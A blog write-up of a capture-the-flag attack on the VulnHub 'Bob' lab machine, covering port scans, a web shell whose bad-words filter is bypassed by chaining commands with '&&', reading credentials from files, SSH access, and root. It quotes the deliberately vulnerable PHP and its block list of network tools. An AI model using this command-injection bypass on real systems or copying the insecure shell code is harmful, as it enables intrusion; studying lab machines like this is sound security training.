Bob Vulnhub Vm Writeup

Published 05-30-2018 22:50:00

Presented by Paul w

Follow me on Twitter


Tonight I thought I’d have a go at a box on VulnHub the box I picked was a fairly recent one as I wanted to ease myself back into doing some CTFs - I’ve been a bit busy doing other things recently - anyway I chose the box Bob:1.0.1 it sounded fairly simple:

“Your Goal is to get the flag in / Hints: Remember to look for hidden info/files”

NMAP Scans

The initial NMAP scan using: nmap -v -sV -p- -T4

Nmap scan report for
Host is up (0.00012s latency).
Not shown: 65533 closed ports
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
25468/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:C0:CC:74 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Nmap done at Wed May 30 20:33:51 2018 -- 1 IP address (1 host up) scanned in 9.69 seconds

Now that we know what ports are open we do a further more fine grained scan:

# Nmap 7.70 scan initiated Wed May 30 20:35:03 2018 as: nmap -v -sV -sC -p 80,25468 -oA bob-finegrain
Nmap scan report for
Host is up (0.00034s latency).
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
25468/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
|   2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA)
|   256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA)
|_  256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (ED25519)
MAC Address: 08:00:27:C0:CC:74 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Nmap done at Wed May 30 20:35:10 2018 -- 1 IP address (1 host up) scanned in 7.04 seconds

Attacking the Web Application

Immediately the http-robots.txt disallowed entries shows an interesting file dev_shell.php - visiting dev_shell.php on the target shows a command text box and a submit button (Figure 1).


Figure 1 - Result of inputting whoami into the command text box.

But it looks like some commands are filtered out - for example the ls command (Figure 2).


Figure 2 - Message indicating that ls is a filtered command.

In an attempt to bypass the filter we submit two commands with a semi colon whoami;ls (Figure 3).


Figure 3 - Different message indicating that the semi-colon was picked up and is also filtered

But commands can also be strung together with && (Figure 4).


Figure 4 - An ls of the directory revealing some interesting files.

Looking at the files in the directory we can see that theres a dev_shell.php.bak file, we can visit this file and it will download the file rather than trying to interpret the PHP code. contents of dev_shell.php.bak:

    $invalid = 0;
    $command = ($_POST['in_command']);
    $bad_words = array("pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc");
      position: fixed;
      top: 0;
      left: 0;
      min-width: 100%;
      min-height: 100%;
        color: white;
        text-align: center;
  <div id="shell">
    <form action="dev_shell.php" method="post">
      Command: <input type="text" name="in_command" /> <br>
      <input type="submit" value="submit">
    system("running command...");
      //executes system Command
      //checks for sneaky ;
      if (strpos($command, ';') !==false){
        system("echo Nice try skid, but you will never get through this bulletproof php code"); //doesn't work :P
        $is_he_a_bad_man = explode(' ', trim($command));
        //checks for dangerous commands
        if (in_array($is_he_a_bad_man[0], $bad_words)){
          system("echo Get out skid lol");
    <img src="dev_shell_back.png" id="back" alt="">

We can see from the code above where the two warnings we had in earlier screenshots came from (we correctly assumed that if there were semi colons in the code that it would error):

if (strpos($command, ';') !==false){
        system("echo Nice try skid, but you will never get through this bulletproof php code"); //doesn't work :P

Secondly the PHP script also checks the command input for words from the $bad_words array before finally executing what ever is in the $_POST[‘in_command’] variable:

if (in_array($is_he_a_bad_man[0], $bad_words)){
          system("echo Get out skid lol");

Now that we know what commands we can’t use and that the commands are executed from a POST variable we can use burpsuite to help.

Using Burpsuite

We need to configure our web browser to point to burp as out http proxy (Figure 5):


Figure 5 - In the Preferences>advanced>network>connection settings

Burpsuite defaults to port 8080 - in this instance we’ve no need to change that! so away we go - clicking submit again should send the request to burp first and because by default it’s set to intercept, it will appear nothing has happened - but if we look at burp we can see it’s caught the request - we need to click the forward button until we get the response (Figure 6).


Figure 6 - Our Whoami command being sent as a POST parameter.

Now we know the request has been sent we can now pass that request to the repeater tab in burpsuite this is done by finding the desired request in the http history tab and right clicking and clicking the send to repeater context menu option (Figure 7).


Figure 7 - The HTTP history tab with the request we want to repeat

We can use burp to edit the parameter value of the in_command parameter and get the return value back in the response window(Figure 8).


Figure 8 - The result of the ls /home directory.

Looking at the response we now have a list of users that we can potentially log in as (remember earlier we found SSH on a non-standard port); But we have a problem as we don’t actually know any passwords just yet.

Using the burp repeater we can browse various directories and in elliot’s home directory there is an interesting file(Figure 9).


Figure 9 - User has a text file named theadminisdumb.txt.

We should check it out - but remember we can’t use cat … so lets use more

setting the in_command to whoami && more/home/elliot/theadminisdumb.txt yeilds the following:

The admin is dumb,
In fact everyone in the IT dept is pretty bad but I can’t blame all of them the newbies Sebastian and James are quite new to managing a server so I can forgive them for that password file they made on the server.
But the admin now he’s quite something. Thinks he knows more than everyone else in the dept, he always yells at Sebastian and James now they do some dumb stuff but their new and this is just a high-school server who cares,
the only people that would try and hack into this are script kiddies. His wallpaper policy also is redundant, why do we need custom wallpapers that doesn’t do anything. I have been suggesting time and time again to Bob ways we could improve the security since he “cares” about it so much but he just yells at me and says I don’t know what i’m doing.
Sebastian has noticed and I gave him some tips on better securing his account, I can’t say the same for his friend James who doesn’t care and made his password: Qwerty.
To be honest James isn’t the worst bob is his stupid web shell has issues and I keep telling him what he needs to patch but he doesn’t care about what I have to say.
it’s only a matter of time before it’s broken into so because of this I have changed my password to
I hope bob is fired after the future second breach because of his incompetence.
I almost want to fix it myself but at the same time it doesn’t affect me if they get breached, I get paid, he gets fired it’s a good time.

So now we have (hopefully) login credentials for the machine(Figure 10).

SSH Access and PrivEsc


Figure 10 - Logging in as elliot with the password theadminisdumb.

Now that we have SSH access we’re not limited to commands not in the bad_words list. Looking around the user’s home directories with ls -latr we notice an .old_passwordfile.html examining this file with more:


Our user elliot didnt have kind things to say about bob - and he seems to be our IT admin so lets have a poke through his folders a little deeper…

Bob’s Document folder contains:

total 20
-rw-r--r--  1 bob bob  300 Mar  4 14:11 staff.txt
drwxr-xr-x  3 bob bob 4096 Mar  5 00:35 Secret
-rw-r--r--  1 bob bob   91 Mar  5 00:58 login.txt.gpg
drwxr-xr-x  3 bob bob 4096 Mar  5 01:02 .
drwxr-xr-x 18 bob bob 4096 May 30 17:03 ..

login.txt.gpg seems to be encrypted login credentials encrypted with GPG, before trying to crack it lets see if we can find the password do decrypt it… Buried deep in the Secret folder is a .sh file:

echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"

At fist it looks like random list of notes (albiet with bad spelling) but running the script clears the screen and each line starts with a Capital letter spelling out the word harpocrates - google reveals that HARPOCRATES is the god of silence secrets and confidentiality - that can’t be coincidence…


So lets try it

gpg --decrypt login.txt.gpg                                                                                                                                              
gpg: AES encrypted data
gpg: encrypted with 1 passphrase

Excellent! now we have bobs login let’s see if we can elevate:

elliot@Milburg-High:/home/bob/Documents$ su
root@Milburg-High:/home/bob/Documents# whoami && hostname
root@Milburg-High:/home/bob/Documents# more /flag.txt

       (   )
        |~|       _.--._
        |~|~:'--~'      |
        | | :   #root   |
        | | :     _.--._|
        | |
        | |
        | |
        | |
        | |
        | |
        | |
        | |
        | |
   _____|_|_________ Thanks for playing ~c0rruptedb1t

Thanks that was fun !

Paul W